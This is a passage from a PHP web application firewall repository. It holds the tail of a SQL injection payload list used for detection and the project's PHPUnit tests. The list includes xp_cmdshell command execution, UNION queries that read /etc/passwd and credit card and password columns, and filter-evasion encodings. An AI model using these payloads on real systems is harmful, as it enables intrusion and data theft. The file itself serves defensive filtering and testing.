1; EXECUTE AS LOGIN 'root'; GO xp_cmdshell 'whoami.exe' ; REVERT ; 474 | 1; USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck 475 | 1); USE master; EXEC xp_cmdshell 'copy c:\SQLbcks\AdvWorks.bck 476 | 477 | EXEC sp_add_job @job_name = 'TestJob'; 478 | EXECUTE sp_add_job @job_name = 'TestJob'; 479 | 1;EXECUTE sp_add_job @job_name = 'TestJob'; 480 | 1;print 'foo'; exec xp_cmdshell 'destroy'; 481 | 482 | # nested sub-selects 483 | -1 - (select (1 - select (select 1))) union all select 2 -- 484 | -1 - (select 1) - union all select 2 -- 485 | (select 1) - 1 union all select 2 -- 486 | ((select 1) - 1) + (select 1) union all select 2 -- 487 | (select (select (select 1))) union all select 2 -- 488 | (select (select (select 1))) union all select 2 -- 489 | (select ((select (select 1))) union all select 2 -- 490 | (select (select ((select 1))) union all select 2 -- 491 | (select ((select 1 - (select 1))) union all select 2 -- 492 | (select (select (((select 1))) union all select 2 -- 493 | (select ((select (select 1))) union all select 2 -- 494 | (select (((select (select 1))) union all select 2 -- 495 | (select (select (1 - select 1))) union all select 2 -- 496 | (select (select 1 - (select 1))) union all select 2 -- 497 | (select 1 - (select 1 - (select 1))) union all select 2 -- 498 | 499 | # moar unions 500 | -1 union distinct select table_name from information_schema.tables 501 | -1 union distinct all select table_name from information_schema.tables 502 | -1 union all distinct select table_name from information_schema.tables 503 | -1 union all select table_name from information_schema.tables 504 | 505 | # more 506 | if(1, -1, 2) union select table_name from information_schema.tables limit 1 507 | if((1), -1, 2) union select table_name from information_schema.tables limit 1 508 | if(1=2, -1, 2) union select table_name from information_schema.tables limit 1 509 | true in(2, (select 2)) union select table_name from information_schema.tables limit 1 510 | true in(2, 1) union select table_name from information_schema.tables limit 1 511 | 512 | # 513 | -1 union select current_user``union select table_name from information_schema.tables 514 | 515 | if(1, 1, 2) union select 3 516 | if(sin(1), 1, 2) union select 3 517 | if(1, sin(1), 2) union select 3 518 | if(1 - sin(1), 2) union select 3 519 | if((1), 1, 2) union select 3 520 | if(-(1), 1, 2) union select 3 521 | 522 | # 523 | 1; if exists ( /* anything */ 524 | 525 | # these aren't SQL but close enough 526 | union (select 1)-- 527 | union all (select 1)-- 528 | union all (select distinct 1)-- 529 | union (select 1,2,3,4,5)-- 530 | union (select -1,2,3,4,5)-- 531 | union (select -(1),2,3,4,5)-- 532 | union (select -sin(1),2,3,4,5)-- 533 | 1;call p(@version, @a) 534 | 1;load data infile "foo" 535 | 1;load xml infile "foo" 536 | 1;load xml local infile "foo" 537 | 1;load xml low_priority infile "foo" 538 | 1;load xml concurrent infile "foo" 539 | 1; delete from foo 540 | 1; delete low_priority from foo 541 | 1; delete quick from foo 542 | 1; delete ignore from foo 543 | 544 | 545 | 1;do (1=1) 546 | 547 | -0b01 for update union select table_name from information_schema.tables limit 1 548 | binary _latin1 'true' COLLATE latin1_german2_ci is not unknown union select table_name from information_schema.tables 549 | binary true COLLATE latin1_german2_ci union select table_name from information_schema.tables 550 | 12 union select table_name from information_schema.tables limit 1 551 | binary 1 < binary 2 > binary 3 union select table_name from information_schema.tables limit 1 552 | 553 | binary (false) union select table_name from information_schema.tables limit 1 554 | 1 - binary (false) union select table_name from information_schema.tables limit 1 555 | 1 - (binary (false)) union select table_name from information_schema.tables limit 1 556 | binary binary 1 union select table_name from information_schema.tables 557 | binary -1 union select table_name from information_schema.tables 558 | binary -(1) union select table_name from information_schema.tables 559 | binary (binary 1) union select table_name from information_schema.tables 560 | binary (binary 1) union select table_name from information_schema.tables 561 | 562 | # werid slash escaping in Older T-SQL databases 563 | # http://websec.ca/kb/sql_injection#MSSQL_Allowed_Intermediary_Chars_AND-OR 564 | \1=\1AND\1=\1; 565 | 566 | # more weird T-SQL weirdness 567 | \%250=\-1AND\*1=\/1 568 | 569 | # mysql 570 | -1 procedure analyse() union select table_name from information_schema.tables limit 1 571 | 572 | # HT @FluxReiners 573 | (1)mod @a or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- - 574 | @a mod (1) or 1 union select load_file('/etc/passwd'),credit_card,passwd from users-- - 575 | 576 | # HT @LightOS 577 | # issue here is how '1gfsdg..' is processed. 578 | # MySQL parses it as a single word, other databases treat it as "1", "gfs..." 579 | -1 procedure analyse(1gfsdgfds, sfg) union select table_name from information_schema.tables limit 1 580 | 581 | # HT @FluxReiners 582 | (select 1 foo) union select load_file('foo'); 583 | 584 | # 585 | # Anonymous from Research Institution of Telecom in Beijing, China 586 | # commenting out since i have no idea how this could be a true SQL injection 587 | #=1 union select admin,pass from admin limit 1 588 | #=1 union select 1,2,3,4,5,6 589 | 590 | # problems with type-casting, and nested type casting 591 | # 592 | # credit: Reto Ischi 593 | # 594 | 's' || binary(1)# and n='foo" 595 | 1 - binary (1 - binary(1)) UNION SELECT 2 -- 596 | 1 - binary (binary(1) -1) UNION SELECT 2 -- 597 | binary (1 - binary(1)) UNION SELECT 2 -- 598 | binary (binary(1) - 1) UNION SELECT 2 -- 599 | binary (binary(1)) UNION SELECT 2 -- 600 | 601 | # 602 | # Padding using between operator 603 | # 604 | (1 between @version and "2") & 1 UNION SELECT 1 605 | (1 between @version and @user) & 1 UNION SELECT 1 606 | (1 between 1 and @version) & 1 UNION SELECT 1 607 | (1 between '1' and @version) & 1 UNION SELECT 1 608 | (1 between 1 and 2) & 1 UNION SELECT 1 609 | (1 between '1' and '2') & 1 UNION SELECT 1 610 | (1 between 1 and '2') & 1 UNION SELECT 1 611 | (1 between '1' and 2) & 1 UNION SELECT 1 612 | ('1' between '1' and '2') & 1 UNION SELECT 1 613 | (@version between '1' and '2') & 1 UNION SELECT 1 614 | (@version between 1 and '2') & 1 UNION SELECT 1 615 | 616 | # 617 | # ANY and SOME subqueries 618 | # 619 | 1 - ANY(SELECT 1,2) 620 | ANY(SELECT 1) - 1 UNION ALL -- 621 | ANY(SELECT (1)) - 1 UNION ALL -- 622 | ANY((SELECT 1)) - 1 UNION ALL -- 623 | 1 - ANY(SELECT 1) UNION ALL -- 624 | 625 | # 626 | # embedded %A0 mysql 627 | # 628 | 1%A0UNION%A0SELECT%A02-- 629 | 1%00UNION%00SELECT%002-- 630 | 631 | # 632 | # http://www.exploit-db.com/exploits/28854/ 633 | # 634 | stringindatasetchoosen%25' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%25dministrator' and rownum<=1 and PASSWORD like '0%25') and '1%25'='1 635 | 636 | # 637 | # Thanks to @rsalgado 638 | # A degenerate MySQL ODBC case 639 | # 640 | -{``.``.id} union select table_name FROM information_schema.tables LIMIT 1 -------------------------------------------------------------------------------- /src/payloads/xml.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/riverside/php-waf/af4b24b3053fbac7232230056c94c96cef896ff5/src/payloads/xml.txt -------------------------------------------------------------------------------- /tests/AbstractFilterTest.php: -------------------------------------------------------------------------------- 1 | assertClassHasAttribute($attribute, AbstractFilter::class); 22 | } 23 | } 24 | 25 | /** 26 | * @throws \Riverside\Waf\Exception 27 | */ 28 | public function testFilterAttributes() 29 | { 30 | $firewall = new Firewall(); 31 | 32 | foreach (array_keys($firewall->getFilters()) as $filter) 33 | { 34 | $this->assertClassHasAttribute('payloads_file', "Riverside\\Waf\\Filter\\$filter"); 35 | } 36 | } 37 | 38 | /** 39 | * @throws \Riverside\Waf\Exception 40 | */ 41 | public function testFilterMethods() 42 | { 43 | $firewall = new Firewall(); 44 | 45 | foreach ($firewall->getFilters() as $filter => $enabled) 46 | { 47 | if (!$enabled) 48 | { 49 | continue; 50 | } 51 | $className = "Riverside\\Waf\\Filter\\$filter"; 52 | $object = new $className; 53 | $this->assertTrue(method_exists($object, "safe")); 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /tests/Filter/CrlfTest.php: -------------------------------------------------------------------------------- 1 | assertClassHasAttribute($attribute, Crlf::class); 20 | } 21 | } 22 | 23 | public function testIsSafe() 24 | { 25 | $crlf = new Crlf(); 26 | $this->assertTrue($crlf->safe('abc')); 27 | } 28 | 29 | public function testIsNotSafe() 30 | { 31 | $crlf = new Crlf(); 32 | $this->assertFalse($crlf->safe('%0D%0ASet-Cookie:mycookie=myvalue')); 33 | } 34 | } -------------------------------------------------------------------------------- /tests/Filter/SqlTest.php: -------------------------------------------------------------------------------- 1 | assertClassHasAttribute($attribute, Sql::class); 20 | } 21 | } 22 | 23 | public function testIsSafe() 24 | { 25 | $sql = new Sql(); 26 | $this->assertTrue($sql->safe('abc')); 27 | } 28 | 29 | public function testIsNotSafe() 30 | { 31 | $sql = new Sql(); 32 | $this->assertFalse($sql->safe('TRUE DIV(SELECT ORD(LEFT')); 33 | } 34 | } -------------------------------------------------------------------------------- /tests/Filter/XmlTest.php: -------------------------------------------------------------------------------- 1 | assertClassHasAttribute($attribute, Xml::class); 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /tests/Filter/XssTest.php: -------------------------------------------------------------------------------- 1 | assertClassHasAttribute($attribute, Xss::class); 20 | } 21 | } 22 | 23 | public function testIsSafe() 24 | { 25 | $xss = new Xss(); 26 | $this->assertTrue($xss->safe('abc')); 27 | } 28 | 29 | public function testIsNotSafe() 30 | { 31 | $xss = new Xss(); 32 | $this->assertFalse($xss->safe('')); 33 | } 34 | } -------------------------------------------------------------------------------- /tests/FirewallTest.php: -------------------------------------------------------------------------------- 1 | assertClassHasAttribute($attribute, Firewall::class); 28 | } 29 | } 30 | 31 | /** 32 | * @return Firewall 33 | * @throws Exception 34 | */ 35 | public function testFilters() 36 | { 37 | $firewall = new Firewall(); 38 | $this->assertIsArray($firewall->getFilters()); 39 | 40 | return $firewall; 41 | } 42 | 43 | /** 44 | * @depends testFilters 45 | * @param Firewall $firewall 46 | * @return Firewall 47 | * @throws Exception 48 | */ 49 | public function testEnable(Firewall $firewall) 50 | { 51 | $this->assertInstanceOf(Firewall::class, $firewall->enable('Xml')); 52 | $filters = $firewall->getFilters(); 53 | $this->assertIsArray($filters); 54 | $this->assertTrue($filters['Xml']); 55 | 56 | return $firewall; 57 | } 58 | 59 | /** 60 | * @depends testEnable 61 | * @param Firewall $firewall 62 | * @return Firewall 63 | * @throws Exception 64 | */ 65 | public function testDisable(Firewall $firewall) 66 | { 67 | $this->assertInstanceOf(Firewall::class, $firewall->disable('Sql')); 68 | $filters = $firewall->getFilters(); 69 | $this->assertIsArray($filters); 70 | $this->assertFalse($filters['Sql']); 71 | 72 | return $firewall; 73 | } 74 | 75 | /** 76 | * @depends testDisable 77 | * @param Firewall $firewall 78 | * @return Firewall 79 | * @throws Exception 80 | */ 81 | public function testSetters(Firewall $firewall) 82 | { 83 | $this->assertInstanceOf(Firewall::class, $firewall->setLogFile('')); 84 | $this->assertInstanceOf(Firewall::class, $firewall->setLogFormat('')); 85 | $this->assertInstanceOf(Firewall::class, $firewall->setMode(Firewall::MODE_LOG)); 86 | 87 | return $firewall; 88 | } 89 | 90 | /** 91 | * @depends testFilters 92 | * @param Firewall $firewall 93 | * @throws Exception 94 | */ 95 | public function testGetFilterInstance(Firewall $firewall) 96 | { 97 | $this->assertInstanceOf(Crlf::class, $firewall->getFilterInstance('Crlf')); 98 | $this->assertInstanceOf(Sql::class, $firewall->getFilterInstance('Sql')); 99 | $this->assertInstanceOf(Xml::class, $firewall->getFilterInstance('Xml')); 100 | $this->assertInstanceOf(Xss::class, $firewall->getFilterInstance('Xss')); 101 | } 102 | 103 | /** 104 | * @depends testFilters 105 | * @param Firewall $firewall 106 | * @return Firewall 107 | * @throws Exception 108 | */ 109 | public function testRun(Firewall $firewall) 110 | { 111 | $firewall 112 | ->setMode(Firewall::MODE_LOG) 113 | ->setLogFile('php://temp') 114 | ->setLogFormat(Firewall::COMMON_LOG_FORMAT) 115 | ->enable('Xss') 116 | ->disable('Xml') 117 | ->enable('Crlf') 118 | ->enable('Sql') 119 | ->run(); 120 | 121 | $this->assertInstanceOf(Firewall::class, $firewall); 122 | 123 | return $firewall; 124 | } 125 | 126 | /** 127 | * @depends testFilters 128 | * @param Firewall $firewall 129 | * @throws Exception 130 | */ 131 | public function testRunFilter(Firewall $firewall) 132 | { 133 | $temp_file = tempnam(sys_get_temp_dir(), 'Tux'); 134 | 135 | $firewall 136 | ->setMode(Firewall::MODE_LOG) 137 | ->setLogFile($temp_file); 138 | $inst = $firewall->runFilter('Sql'); 139 | $this->assertInstanceOf(Firewall::class, $inst); 140 | 141 | $contents = file_get_contents($temp_file); 142 | $this->assertStringContainsString('[Sql]', $contents); 143 | } 144 | 145 | /** 146 | * @depends testFilters 147 | * @param Firewall $firewall 148 | * @throws Exception 149 | */ 150 | public function testGetFilter(Firewall $firewall) 151 | { 152 | $filter = 'Sql'; 153 | 154 | $firewall->enable($filter); 155 | $this->assertTrue($firewall->getFilter($filter)); 156 | 157 | $firewall->disable($filter); 158 | $this->assertFalse($firewall->getFilter($filter)); 159 | } 160 | 161 | /** 162 | * @depends testFilters 163 | * @param Firewall $firewall 164 | * @throws Exception 165 | */ 166 | public function testExceptionMode(Firewall $firewall) 167 | { 168 | $this->expectException(Exception::class); 169 | $this->expectExceptionMessage(Exception::ERROR_UNKNOWN_MODE); 170 | $this->expectExceptionCode(Exception::ERROR_UNKNOWN_MODE_CODE); 171 | $firewall->setMode(123); 172 | } 173 | 174 | /** 175 | * @depends testFilters 176 | * @param Firewall $firewall 177 | * @throws Exception 178 | */ 179 | public function testExceptionLogFormat(Firewall $firewall) 180 | { 181 | $this->expectException(Exception::class); 182 | $this->expectExceptionMessage(Exception::ERROR_EMPTY_LOG_FORMAT); 183 | $this->expectExceptionCode(Exception::ERROR_EMPTY_LOG_FORMAT_CODE); 184 | $firewall->setLogFile('php://temp'); 185 | $firewall->setLogFormat(''); 186 | $firewall->log('test', 'Sql'); 187 | } 188 | 189 | /** 190 | * @depends testFilters 191 | * @param Firewall $firewall 192 | * @throws Exception 193 | */ 194 | public function testExceptionLogFile(Firewall $firewall) 195 | { 196 | $this->expectException(Exception::class); 197 | $this->expectExceptionMessage(Exception::ERROR_EMPTY_LOG_FILE); 198 | $this->expectExceptionCode(Exception::ERROR_EMPTY_LOG_FILE_CODE); 199 | $firewall->setLogFile(''); 200 | $firewall->log('test', 'Sql'); 201 | } 202 | 203 | /** 204 | * @depends testFilters 205 | * @param Firewall $firewall 206 | * @throws Exception 207 | */ 208 | public function testExceptionFilter(Firewall $firewall) 209 | { 210 | $this->expectException(Exception::class); 211 | $this->expectExceptionMessage(Exception::ERROR_UNKNOWN_FILTER); 212 | $this->expectExceptionCode(Exception::ERROR_UNKNOWN_FILTER_CODE); 213 | $firewall->enable('unknown'); 214 | } 215 | } --------------------------------------------------------------------------------